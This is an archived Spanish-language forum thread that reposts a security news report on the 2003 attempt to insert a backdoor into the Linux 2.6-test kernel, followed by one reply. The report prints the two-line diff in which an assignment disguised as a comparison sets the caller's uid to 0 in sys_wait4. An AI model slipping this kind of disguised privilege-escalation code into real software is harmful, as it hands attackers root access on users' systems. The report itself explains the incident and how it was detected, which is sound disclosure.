PDA

Ver la versión completa : Intento de instalar una puerta trasera en el kernel Linux



rasha
23-11-2003, 00:15
Un análisis rutinario automático del código fuente de la última versión
del kernel Linux (2.6-test) descubre el intento de implantar una puerta
trasera en dicho sistema operativo.

Linux es un sistema operativo Open Source en boga, cuya popularidad
crece día a día.

La última versión del kernel Linux (2.6 test), aún en desarrollo,
experimentó un intento de implantarle una puerta trasera, que permitiría
a un atacante local obtener privilegios de administrador o "root" con
la ejecución de una función aparentemente inocua y de uso normal.

El fichero alterado fue "kernel/exit.c", y constaba de apenas dos líneas
de código fuente:

>>>>>
--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;


<<<<<

La puerta trasera, muy inteligente, explota el hecho de que el lenguaje
de programación C permite asignaciones en lugares insospechados, como
dentro de una sentencia "if". El efecto neto de este cambio sería
obtener privilegios de administrador o "root" si se invoca la función
"sys_wait4()" con los parámetros apropiados ("__WCLONE" y "__WALL"). A
la vista del cambio, el atacante ha mostrado cierta destreza para lograr
que el código no sea patentemente malicioso.

El cambio se realizó en la réplica CVS que reside en el servidor
"kernel.bkbits.net". Dicha réplica se obtiene automáticamente a través
de los fuentes oficiales de Linux, gestionados mediante la herramienta
"BitKeeper". La alteración afectó a la réplica, no a los fuentes
originales.

Aunque el cambio fue detectado de forma automática por la
herramientas de exportación BitKeeper->CVS, el incidente servirá como
llamada de atención y para desplegar nuevas tecnologías, como el
requerir una firma digital autorizada para poder realizar cambios en el
kernel. Dado que la exportación BitKeeper->CVS se realiza de forma
diaria, el fichero alterado se detectó y eliminó en menos de 24 horas.

Para los usuarios de entornos Linux, el mejor consejo que se puede dar
es descargar las actualizaciones desde fuentes de confianza y verificar,
si existen, sus firmas digitales.


fuente: hispasec :)

gondar_f
23-11-2003, 14:01
Otra ventaja del open source, si alguien intenta controlarte, lo sabes o lo descubres tu u otro que entienda el codigo, a saber cuantas cosillas de esas esisten en windows si que nadie lo sepa.
Un Saludo